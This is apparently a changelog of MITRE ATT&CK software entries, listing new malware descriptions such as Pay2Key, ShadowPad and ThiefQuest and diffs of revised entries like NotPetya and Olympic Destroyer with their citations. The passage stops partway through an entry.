Description: [P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)
Current version: 1.0
Description: [Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)
Current version: 1.0
Description: [Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)
Current version: 1.0
Description: [Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)
Current version: 1.0
Description: [RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)
Current version: 1.0
Description: [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020) In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool".(Citation: ESET PowerPool Code October 2020)
Current version: 1.0
Description: [SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)
Current version: 1.0
Description: [ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)
Current version: 1.0
Description: [SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)
Current version: 1.0
Description: [Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)
Current version: 1.0
Description: [Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)
Current version: 1.0
Description: [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) is a fully-featured beaconing implant integrated with command modules used by [Lazarus Group](https://attack.mitre.org/groups/G0032). It was first reported in May 2020.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)
Current version: 1.0
Description: [ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links.(Citation: Reed thiefquest fake ransom) Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.(Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)
Current version: 1.0
Description: [Waterbear](https://attack.mitre.org/software/S0579) is modular malware attributed to [BlackTech](https://attack.mitre.org/groups/G0098) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.(Citation: Trend Micro Waterbear December 2019)
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro | t | 1 | [Astaroth](https://attack.mitre.org/software/S0373) is a Tro |
| > | jan and information stealer known to affect companies in Eur | > | jan and information stealer known to affect companies in Eur | ||
| > | ope and Brazil. It has been known publicly since at least la | > | ope, Brazil, and throughout Latin America. It has been known | ||
| > | te 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: | > | publicly since at least late 2017. (Citation: Cybereason As | ||
| > | Cofense Astaroth Sept 2018) | > | taroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citat | ||
| > | ion: Securelist Brazilian Banking Malware July 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:38:54.935000+00:00 | 2020-12-08 21:14:48.861000+00:00 |
| description | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe and Brazil. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019) (Citation: Cofense Astaroth Sept 2018) | [Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[1]['source_name'] | Cybereason Astaroth Feb 2019 | Guildma |
| external_references[1]['description'] | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. | (Citation: Securelist Brazilian Banking Malware July 2020) |
| external_references[2]['source_name'] | Cofense Astaroth Sept 2018 | Cybereason Astaroth Feb 2019 |
| external_references[2]['description'] | Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. | Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ | https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cofense Astaroth Sept 2018', 'description': 'Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.', 'url': 'https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/'} | |
| external_references | {'source_name': 'Securelist Brazilian Banking Malware July 2020', 'description': 'GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.', 'url': 'https://securelist.com/the-tetrade-brazilian-banking-malware/97779/'} | |
| x_mitre_aliases | Guildma |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe | t | 1 | [Machete](https://attack.mitre.org/software/S0409) is a cybe |
| > | r espionage toolset developed by a Spanish-speaking group kn | > | r espionage toolset used by [Machete](https://attack.mitre.o | ||
| > | own as El [Machete](https://attack.mitre.org/groups/G0095). | > | rg/groups/G0095). It is a Python-based backdoor targeting Wi | ||
| > | It is a Python-based backdoor targeting Windows machines, an | > | ndows machines that was first observed in 2010.(Citation: ES | ||
| > | d it was first observed in 2010.(Citation: ESET Machete July | > | ET Machete July 2019)(Citation: Securelist Machete Aug 2014) | ||
| > | 2019)(Citation: Securelist Machete Aug 2014) | > | (Citation: 360 Machete Sep 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:56:50.734000+00:00 | 2021-04-12 03:16:03.258000+00:00 |
| description | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014) | [Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020) |
| external_references[2]['source_name'] | ESET Machete July 2019 | Pyark |
| external_references[2]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Securelist Machete Aug 2014 | ESET Machete July 2019 |
| external_references[3]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. |
| external_references[3]['url'] | https://securelist.com/el-machete/66108/ | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist Machete Aug 2014', 'description': 'Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.', 'url': 'https://securelist.com/el-machete/66108/'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} | |
| x_mitre_aliases | Pyark |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Matroyshka](https://attack.mitre.org/software/S0167) is a m | t | 1 | [Matryoshka](https://attack.mitre.org/software/S0167) is a m |
| > | alware framework used by [CopyKittens](https://attack.mitre. | > | alware framework used by [CopyKittens](https://attack.mitre. | ||
| > | org/groups/G0052) that consists of a dropper, loader, and RA | > | org/groups/G0052) that consists of a dropper, loader, and RA | ||
| > | T. It has multiple versions; v1 was seen in the wild from Ju | > | T. It has multiple versions; v1 was seen in the wild from Ju | ||
| > | ly 2016 until January 2017. v2 has fewer commands and other | > | ly 2016 until January 2017. v2 has fewer commands and other | ||
| > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | > | minor differences. (Citation: ClearSky Wilted Tulip July 201 | ||
| > | 7) (Citation: CopyKittens Nov 2015) | > | 7) (Citation: CopyKittens Nov 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:02:21.114000+00:00 | 2021-04-23 20:13:32.050000+00:00 |
| name | Matroyshka | Matryoshka |
| description | [Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) | [Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015) |
| external_references[1]['source_name'] | Matroyshka | Matryoshka |
| x_mitre_aliases[0] | Matroyshka | Matryoshka |
| x_mitre_version | 1.1 | 2.0 |
Current version: 3.0
Version changed from: 2.1 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:06:07.337000+00:00 | 2021-04-23 19:15:17.339000+00:00 |
| external_references[1]['description'] | (Citation: Talos Cobalt Group July 2018) | (Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020) |
| external_references[2]['source_name'] | Terra Loader | SKID |
| external_references[2]['description'] | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | SpicyOmelette | Terra Loader |
| external_references[3]['description'] | (Citation: Security Intelligence More Eggs Aug 2019) | (Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | SpicyOmelette |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Security Intelligence More Eggs Aug 2019) |
| external_references[5]['source_name'] | Security Intelligence More Eggs Aug 2019 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | Visa FIN6 Feb 2019 | Security Intelligence More Eggs Aug 2019 |
| external_references[6]['description'] | Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019. | Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019. |
| external_references[6]['url'] | https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf | https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET EvilNum July 2020', 'description': 'Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021.', 'url': 'https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Visa FIN6 Feb 2019', 'description': 'Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.', 'url': 'https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf'} | |
| x_mitre_aliases | SKID |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2021-04-23 19:31:47.185000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) | t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) |
| > | is a MacOS backdoor that has been used by [APT32](https://at | > | is a MacOS backdoor with several variants that has been used | ||
| > | tack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS Apr | > | by [APT32](https://attack.mitre.org/groups/G0050).(Citation | ||
| > | il 2018) | > | : TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS B | ||
| > | ackdoor November 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:11:11.730000+00:00 | 2020-12-02 15:04:45.553000+00:00 |
| description | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018) | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020) |
| external_references[2]['source_name'] | TrendMicro MacOS April 2018 | Backdoor.MacOS.OCEANLOTUS.F |
| external_references[2]['description'] | Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018. | (Citation: Trend Micro MacOS Backdoor November 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro MacOS April 2018', 'description': 'Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/'} | |
| external_references | {'source_name': 'Trend Micro MacOS Backdoor November 2020', 'description': 'Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.', 'url': 'https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html'} | |
| x_mitre_aliases | Backdoor.MacOS.OCEANLOTUS.F |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) | t | 1 | [Olympic Destroyer](https://attack.mitre.org/software/S0365) |
| > | is malware that was first seen infecting computer systems a | > | is malware that was used by [Sandworm Team](https://attack. | ||
| > | t the 2018 Winter Olympics, held in Pyeongchang, South Korea | > | mitre.org/groups/G0034) against the 2018 Winter Olympics, he | ||
| > | . The main purpose of the malware appears to be to cause des | > | ld in Pyeongchang, South Korea. The main purpose of the malw | ||
| > | tructive impact to the affected systems. The malware leverag | > | are was to render infected computer systems inoperable. The | ||
| > | es various native Windows utilities and API calls to carry o | > | malware leverages various native Windows utilities and API c | ||
| > | ut its destructive tasks. The malware has worm-like features | > | alls to carry out its destructive tasks. [Olympic Destroyer] | ||
| > | to spread itself across a computer network in order to maxi | > | (https://attack.mitre.org/software/S0365) has worm-like feat | ||
| > | mize its destructive impact.(Citation: Talos Olympic Destroy | > | ures to spread itself across a computer network in order to | ||
| > | er 2018) | > | maximize its destructive impact.(Citation: Talos Olympic Des | ||
| > | troyer 2018)(Citation: US District Court Indictment GRU Unit | ||||
| > | 74455 October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:57:57.273000+00:00 | 2021-04-23 19:32:38.936000+00:00 |
| description | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) | [Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a Pyth | t | 1 | [PoetRAT](https://attack.mitre.org/software/S0428) is a remo |
| > | on-based remote access trojan (RAT) used in multiple campaig | > | te access trojan (RAT) that was first identified in April 20 | ||
| > | ns against the private and public sectors in Azerbaijan, spe | > | 20. [PoetRAT](https://attack.mitre.org/software/S0428) has b | ||
| > | cifically ICS and SCADA systems in the energy sector. [PoetR | > | een used in multiple campaigns against the private and publi | ||
| > | AT](https://attack.mitre.org/software/S0428) derived its nam | > | c sectors in Azerbaijan, including ICS and SCADA systems in | ||
| > | e from references in the code to poet William Shakespeare.(C | > | the energy sector. The STIBNITE activity group has been obse | ||
| > | itation: Talos PoetRAT April 2020) | > | rved using the malware. [PoetRAT](https://attack.mitre.org/s | ||
| > | oftware/S0428) derived its name from references in the code | ||||
| > | to poet William Shakespeare. (Citation: Talos PoetRAT April | ||||
| > | 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos | ||||
| > | Threat Report 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-30 18:13:47.841000+00:00 | 2021-04-24 21:20:30.634000+00:00 |
| description | [PoetRAT](https://attack.mitre.org/software/S0428) is a Python-based remote access trojan (RAT) used in multiple campaigns against the private and public sectors in Azerbaijan, specifically ICS and SCADA systems in the energy sector. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare.(Citation: Talos PoetRAT April 2020) | [PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Talos PoetRAT October 2020', 'description': 'Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021.', 'url': 'https://blog.talosintelligence.com/2020/10/poetrat-update.html'} | |
| external_references | {'source_name': 'Dragos Threat Report 2020', 'description': 'Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021.', 'url': 'https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SDBot](https://attack.mitre.org/software/S0461) is a backdo | t | 1 | [SDBbot](https://attack.mitre.org/software/S0461) is a backd |
| > | or with installer and loader components that has been used b | > | oor with installer and loader components that has been used | ||
| > | y [TA505](https://attack.mitre.org/groups/G0092) since at le | > | by [TA505](https://attack.mitre.org/groups/G0092) since at l | ||
| > | ast 2019.(Citation: Proofpoint TA505 October 2019)(Citation: | > | east 2019.(Citation: Proofpoint TA505 October 2019)(Citation | ||
| > | IBM TA505 April 2020) | > | : IBM TA505 April 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 19:40:20.251000+00:00 | 2021-03-29 20:35:47.468000+00:00 |
| name | SDBot | SDBbot |
| description | [SDBot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) | [SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) |
| x_mitre_aliases[0] | SDBot | SDBbot |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W | t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W |
| > | eb shell that has been used by [APT34](https://attack.mitre. | > | eb shell that has been used by [OilRig](https://attack.mitre | ||
